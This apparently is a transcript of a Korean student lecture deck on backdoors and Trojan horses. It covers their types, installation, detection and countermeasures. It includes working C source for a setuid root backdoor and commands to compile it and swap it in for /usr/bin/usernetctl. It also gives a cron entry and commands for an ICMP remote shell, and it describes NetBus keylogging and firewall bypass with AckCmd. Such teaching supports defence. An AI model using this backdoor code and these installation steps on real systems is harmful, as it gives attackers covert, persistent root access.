1 / 56

BackDoor

BackDoor. 컴퓨터공학과 20012073 이 성 수. 학 습 목 표. BackDoor 와 Trojan Horse 이해 BackDoor 의 종류 BackDoor 설치 / 탐지 / 제거 보안 대책. BackDoor. 1983 년 Ken Thompson 이 최초로 사용한 용어

raina
Download Presentation

BackDoor

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript


  1. BackDoor 컴퓨터공학과 20012073 이 성 수

  2. 학 습 목 표 • BackDoor와 Trojan Horse 이해 • BackDoor의 종류 • BackDoor 설치/ 탐지/ 제거 • 보안 대책

  3. BackDoor • 1983년 Ken Thompson이 최초로 사용한 용어 • 시스템 관리자나 개발자에 의해 의도적으로 남겨진 시스템의 보안 허점으로 정상적인 절차를 우회하여 시스템에 출입할 수 있도록 임시로 만들어둔 비밀 출입문. 트랩도어(trap door), administrative hook이라 부름. • 보안상 허점을 역이용하여 크래커들이 시스템에 침입한 후 자신이 원할 때 재침입하거나, 권한 획득을 쉽게 하기 위하여 만들어 놓은 일종의 비밀 통로를 의미.

  4. BackDoor 특징 • 시스템 관리자의 보안 관리를 우회 • 패스워드 갱신 등의 조치에도 무관 • 발견되지 않고 시스템으로 침입가능 • 로그를 남기지 않고 침입 • 시스템 침입 시간이 짧음

  5. 트로이목마(Trojan Horse) • 고대 그리스군이 트로이군에게 위장 전술을 사용 하기 위해 만든 목마 • 비 인가된 사용자의 불법침입용. • 호감이 가는 유용한 프로그램으로 가장하고, 실제적으로는 악의적인 프로그램이나 코드를 포함하고 있는 프로그램 • 정상적인 동작을 하는 것으로 보이거나 사용자가 쓰는 프로그램 등으로 사용자를 현혹시킴으로써 특권을 획득

  6. 트로이 목마 특징 • 네트워크를 통한 원격 조정 가능. • 자기 복제 능력 없음. • 사용자 정보를 몰래 빼냄. • 최신 백신 프로그램으로 진단/치료 가능

  7. BackDoor와 Trojan Horse 차이 • 트로이 목마 • 특정 사용자 또는 프로그램이 실행에 의한 수동적인 방법에 의존한 것, 이는 사용자의 직간접적인 도움을 통해서 설치되거나 Bind되어진 프로그램이 실행되어 설치. • 백도어 • 프로그래머나 크래커가 능동적으로 만든 것. 예전에는 관리의 목적으로 사용하기도 하였으나, 대부분 크래커들에 의해 권한이 획득된 후, 해당시스템에 추후 접속을 용이하게 하기 위하여 서비스 데몬 등을 수정하여 사용.

  8. BackDoor의 종류 • 로컬 백도어 • 원격 백도어 • 원격 GUI 백도어 • 패스워드 크래킹 백도어 • 시스템 설정 변경 백도어 • 트로이 목마 형태의 프로그램 • 거짓 업그래이드 • 기타

  9. 로컬 백도어 • 서버의 셸을 얻어낸 뒤 관리자로 권한 상승을 할 때 사용하는 백도어. • 트랩 도어 역시 로컬 백도어 • 시스템 로그인한 뒤 관리자로 권한을 상승 시키기 위한 백도어로 공격자는 일반 계정이 하나 필요

  10. SetUID형 로컬 백도어 • backdoor.c #include <stdio.h>    main (int argc, char *argv[]){         char exec[100];            setuid (0);         setgid (0);         sprintf (exec, "%s 2>/dev/null ", argv[1]);         system (exec);    } system(“/bin/sh”);

  11. 원격 백도어 • 원격에서 관리자로 계정과 패스워드를 입력하고 로그인한 것처럼 바로 시스템의 관리자 계정을 사용할 수 있는 백도어. • 네트워크에 자신의 포트를 항상 열어놓는 경우가 많음. 일종의 서비스를 제공하는 데몬처럼 동작하는 것임. • 프로토콜의 변형된 형태를 이용하는 발전된 형태의 백도어는 TCP, UDP, ICMP 프로토콜 중 아주 일부분을 효과적으로 이용

  12. 원격 GUI 백도어 • 백도어 크기가 크고, 많은 데이터를 전송해 노출이 쉬움. • 주로 원격 관리용 툴인 경우가 많음. • 약용될 소지는 있음.

  13. 패스워드 크래킹 백도어 • 인증 회피 백도어 아님. • 원격지 공격자에게 인증에 필요한 패스워드를 보내줌. • 키보드를 누르는 정보를 전송 • Passwd와 같은 특정 문자열 뒤의 값을 전송 • 유닉스의 경우 passwd파일의 정보를 전송

  14. 시스템 설정 변경 백도어 • 해커가 원하는 대로 시스템의 설정을 변경 • 유닉스 프로그램 스케줄러로 사용되는 cron 데몬을 이용.

  15. 시스템 설정 변경 백도어 vi /etc/crontab • Cron데몬 0 4 * * * ./ishd –i 65000 0 5 * * * pkill –U root ishd 17 * * * * root run-parts --report /etc/cron_hourly

  16. 트로이 목마 형태의 프로그램 • 백도어 목적으로 만들어진 프로그램이 아닌데도 백도어로 동작하는 경우. • 응용 프로그램에 섞여 있어 원래 목적의 프로그램이 정상적으로 실행되면 동시에 백도어도 설치됨.

  17. 거짓 업그래이드 • 시스템을 패치/업그레이드 할 때 잘못된 파일을 설치하는 경우. • 원하지 않은 업그레이드를 강제로 하는 경우. • 성인 사이트 접속 시 사용자의 시스템이 통제 할 수 없는 상태에서 여러 가지 프로그램이 설치 되는 경우

  18. 기타(etc.,) • 프로세스 은닉 백도어 • 부트 블록 백도어 • 커널 백도어 • 서비스 백도어 • 라이브러리 백도어 • 파일 시스템 백도어

  19. BackDoor의 은닉 • 윈도우 • Joiner 프로그램을 이용하여 기존의 프로그램 파일과 BackDoor를 혼합하여 만듬. • 유닉스(리눅스) • 정상적인 파일에 others에 실행 권한이 있는 파일을 찾아 바꿔 치기 함.

  20. Trojan Horse 프로그램 • 인터넷 익스플로러(IE) 거짓 업그레이드 • 메일 첨부파일 Ie0199.exe라는 파일. • TCP Wrappers • 1999/01/21일 이후 배포된tcp_wrappers_7.6.tar.gz파일에 포함. • Util-linux • 1999/01/22 ~ 24일 사이에 배포한 것 중 일부 util-linux-2g.tar.gz파일에 포함.

  21. BackDoor 프로그램(리눅스) • Rootkit • Backdoor와 Trojan Horse 프로그램 패키지. • 1998년 11월 기능이 보강된 리눅스용 Rootkit 4 발표. • 원격접근, 내부 사용흔적 제거, 관리자 권한 획득 등.

  22. BackDoor 프로그램(윈도우) • VNC (Virtual Network Computing) • 원격 관리 프로그램 • 접속 패스워드 설정 가능 • 툴 자체의 취약점이 있어 패스워드 노출가능

  23. BackDoor 프로그램 (윈도우) • AckCmd • 세션 성립 없이 통신 • 방화벽에서 ACK패킷에 대한 어떠한 체크도 하지 않는 점을 이용하여 방화벽 우회 • 방화벽이나 운영체제의 연결 기록 남지 않음. • 기존에 사용중인 포트 이용(예 80(http)) • AckCmdS.exe - 서버 • AckCmdC.exe - 클라이언트

  24. TCP 3-way handshaking 서버 클라이언트 Syn Syn + Ack Ack 모든 과정이 성공적으로 끝나야 세션이 이루어지고 서버와 클라이언트가 통신을 하게 됨

  25. AckCmd 공격 방식 공격대상 서버 클라이언트 Ack Ack 출발지포트 : 공격자 시스템의 80번 포트 목적지포트 : 임의의 포트(1020) Ack 출발지포트 : 임의의 포트(1020) 목적지포트 : 공격자 시스템의 80번 포트 Ack 공격자

  26. VNC 설치 < Download > http://www.realvnc.com/cgi-bin/download.cgi

  27. VNC 설치

  28. VNC 설치

  29. VNC 설치

  30. VNC 서버주소 VNC 서버 접속 (웹브라우저)

  31. VNC 서버 접속 (웹브라우저)

  32. VNC 서버 접속 (웹브라우저)

  33. VNC 서버 접속 (웹브라우저)

  34. NetBus - 파일구성

  35. NetBus

  36. NetBus • Host name /IP : 접속할 타겟 시스템의 IP 주소를 입력 • Port : 타겟 시스템의 포트 번호를 입력 • Start program : 실행하고자 하는 프로그램의 절대경로를 입력 • Screendump : 서버 시스템의 현재 화면을 캡처 • Active Wnds : 현재 사용중인 프로세스를 보고, Kill 할 수 있다 • Listen : 타겟 시스템의 키 스트로크를 저장 • Server setup : 서버의 설정을 바꿔서 아무나 접속하지 못하게 한다 • File manager : 서버내의 파일 열람 , 다운로드, 업로드, 삭제가 가능 • Open CD-ROM : 서버의 시디롬을 여닫을 수 있다. • Swap mouse : 마우스의 오른족 버튼과 왼쪽 버튼의 기능을 바꾼다 • Exit Windows : 서버를 리부팅, 로그아웃, 끌 수 있다. • Sound system : 서버의 볼륨을 조절할 수 있고, 녹음도 할 수 있다. • Control mouse : 클라이언트 측의 마우스포인터가 움직이는 대로 서버 의 마우스를 조정한다. • Go to URL : 특정 사이트의 URL을 열어준다 • Key manager : 서버의 키보드 관련 사항을 열어준다.

  37. 리눅스 BackDoor • 로컬 백도어 - SetUID형 #include <stdio.h> main (int argc, char *argv[]){ char exec[100]; setuid (0); setgid (0); sprintf (exec, "%s 2>/dev/null ", argv[1]); system (exec); } gcc –o backdoor backdoor.c chmod 4775 backdoor

  38. 리눅스 BackDoor • 로컬 백도어 - SetUID형 설치 • SetUID가 주어진 정상적인 파일과 교체 • find / -perm 4775 • 교체할 파일의 인자 값 없이 실행 시 출력형태를 BackDoor에 추가. • 파일을 교체함. • cp ./backdoor /usr/bin/usernetctl

  39. 리눅스 BackDoor • 로컬 백도어 - SetUID

  40. 리눅스 BackDoor • ICMP 원격 셸 백도어 • 많은 침입차단시스템들이 외부로부터 내부 시스템에 대한 ping을 허락함. • 침입자는 ping ICMP 패킷에 데이터를 추가하여 ping을 하고 있는 시스템과 셸을 제공받을 수 있도록 함. • 시스템 관리자는 다량의 ping 패킷들을 발견하겠지만 패킷 속의 데이터를 보지 않는 이상 침입 사실을 알 수 없음.

  41. 리눅스 BackDoor • ICMP 원격 셸 백도어 make linux ICMP 서버 구동 ./ishd –i 65000 –t 0 –p 1024

  42. 리눅스 BackDoor • ICMP 원격 셸 백도어 ICMP 클라이언트를 이용한 접속 ./ish –i 65000 –t 0 –p 1024 192.168.68.2

  43. BackDoor 탐지 / 대책 • 현재 동작중인 프로세스 확인 • 정상적인 프로세스를 미리 파악. • 윈도우/유닉스의 기본적인 프로세스 암기 • 열린 포트 확인

  44. BackDoor 탐지 / 대책 • SetUID • 윈도우 시스템은 해당 없음 • 유닉스(리눅스) 시스템에서는 로컬 백도어로 강력한 기능을 함. 주기적으로 추가/변경 사항을 체크해야 함. • 바이러스 및 백도어 탐지 툴 이용 • 가장 편리한 방법 • 윈도우용 탐지 툴은 많으나 유닉스용은 많이 없어 수동으로 해야 함.

  45. BackDoor 탐지 / 대책 • 무결성 검사 • 시스템에 어떤 변화가 일어나는지 테스트. • MD5 해시 기법 많이 사용. • 주기적으로 주요 파일의 MD5값을 수집하여 관리자의 변경이나 시스템 운영상 변경이 아닌 변경이 있는지를 체크함. • 로그 분석 • 시스템에 남아 있는 흔적을 분석. • 다양한 로그 분석 방법이 있어 Cyber Forensic 이라는 하나의 분야로 정착.

  46. BackDoor 탐지 실습 C:\at>pslist • 프로세스 확인

  47. BackDoor 탐지 실습 C:\at>netstat -na • 열린 포트 확인 • 12345 : NetBus port

  48. BackDoor 탐지 실습 C:\at>fport • 열린 포트 확인 • 각 port별 응용프로그램 확인 가능

  49. BackDoor 탐지 실습 C:\at>promiscdetect • 열린 포트 확인

  50. BackDoor 탐지 실습 C:\at>promiscdetect • 열린 포트 확인 스니퍼가 설치되어 있을 경우 Promiscuous 모드로 변경되어 있을 수 있다.

More Related